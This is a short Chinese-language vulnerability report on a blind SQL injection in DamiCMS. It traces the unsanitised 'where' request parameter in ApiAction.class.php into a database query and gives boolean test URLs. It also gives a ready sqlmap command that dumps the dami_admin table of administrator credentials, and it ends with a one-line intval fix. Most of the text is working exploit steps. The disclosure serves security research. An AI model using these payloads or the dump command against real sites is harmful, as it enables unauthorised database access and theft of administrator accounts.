大米CMS某处SQL盲注2

大米CMS某处SQL盲注第二发,可直接拖库

文件/Web/Lib/Action/ApiAction.class.php

 

当满足这个条件时:

in_array($_REQUEST['model'],array('article','type','ad','label','link'))

where就被赋值了

$where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):'';

然后将where就带入SQL语句

$count=$m->where($where)->count();

导致SQL注入

标准的盲注:

http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=1

dami1.png

http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=2

dami2.png

用SQLmap跑一下数据:

python sqlmap.py -u "http://10.65.20.198/dami/index.php?s=/api/ajax_arclist/model/article/where/123*" -D "dami" -T "dami_admin" --dump -v 3

管理员账户信息:

dami3.png

解决方案:

intval($_REQUEST['where'])